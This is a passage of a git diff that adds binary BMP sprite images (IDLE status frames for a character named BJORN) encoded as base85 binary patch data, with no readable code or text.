z#B9bmC3Sv|&~?P{me$rsG*3=ED=WUN-oACK^C%lVD@q5mB*0f52jN2q3;|G7z(at9 zJXFX>g#Z-BKs7}|l~|&ZNI=E42%?vxNua-~l}Q+az`R6_O0Q7p6mqQ`)yfeqD$~f# zLJ>78Q^>@aM1+V04{%{Vz(oWAlq=&x5*E2(ykH^{Uhdk_BA#0wbiurO0ACtgJ zsR;P0l!;Ylw}5jx1)6AP<g7HAH=YkRV5YTpdwf)6ljDz zH4e%sNnpO$m>A(;DvvmKEop%x?{AdJDZhYG+51p!={hzA64 z0V@z-1p@t5Z4Oj0FeRxll|%qhiNN4^C2lRC)XR~0JOdcKq&g7opluMbN+L3Y!fG*3 zE#j$QC=H>!+n_I!M?2cvf3Wp~=Q8#ASuMriy?Zw=GsEA(t}F%3(uichS^=1LAQ_O5 zi?fOWE3A;<*5d9WV$ff83Tc880lorOE{z0O0eXTNRF6r4baIJBT12ctKum~K5}{fI z)?$2xkgF1smK$^(6ZwuKt;%Q5zIXrLGj>x@XUq2dF>JZ+!nt!0ixuK(KRH2?pcKl0 zy8?VPMul7i@3OeB3W@LmD{ie+i%H`ZvLv+}u<~eRGb>m>;HLhGRfmYQh)9D7)KY;) z#McVA8Xmp5M82{@?dxcbsns`cKI=U5kQ0A>QC4v2*I(_9iXa5KI^^nPDJmHzU}K=a z3c2{+>?RW2p6ekum;2}D$+}#JRPs4EO~;O;X2BCa&d8YH~!Q9r#;wzN*lZ)R?A(! z_~LUql^W*lRFo(#Oq8j>3Rb{YfKDvrDusNdh^LfrfpaP$#34Oo#Rntcr9dYYXk~nr zjIS26rsc}!%}G{s!u?%c=67^h3V-3yebfT4j@43^GpA3dB`5j0+NViKGjq{Y75M1R zRtk6u0ay}nHDVrM(ulb1I6^!I`mPYClnH^F(!JudBO0g zvM-rQz{CQEAuR#} zN=yVP1dQAyxPE$KnvCK+#x`E7K63{A4*OMZe*>$fdLMuG36V_pcC;=)>kuK3O3afB8A&Qu#bm6!5RD9U3Gnrq*WUW%U+=tF3;b=YpgO;v z`>k~53>SL`lE3o=Eqh9;ECuDJ$e?6|$BB!;Sy4D%0TpM<=1f49e1e<(C^+J0|WOz{pV+5sch_M8)k%0zJgb%5@brb+}N-bxgbADHaT0Wf@8d$ zM~C?NEb4r%r{^i(7yqgH&-M0iV|~09{kQwqzw$=Aif(aze}!6x`_cc0fu4h-ILdk%18`Q2-=`xFHxU044ta|IYx#AO1hE{{W)@NU($H2TT$L zApWuX=LQW73<7@`m_PivFd2-WT$ohw;l_l5ANMDG_;Y{ahkp^xAO1_VfA~MM`@^5} k!XJL5DSr4-koe)}j~^d?e)#j@_oLbmzyJRQn+q}%0Pmh!fdBvi literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE1.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..b1efac2d938c0054cb57819726575a5dac14f475 GIT binary patch literal 18462 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 bos<9jnZ2`8-tU391%vbdKHu&dQc?XMus;i! literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE10.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE10.bmp new file mode 100644 index 0000000000000000000000000000000000000000..5ccefe3d9a095229b959bfb3dba31d8c155bbb22 GIT binary patch literal 18462 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 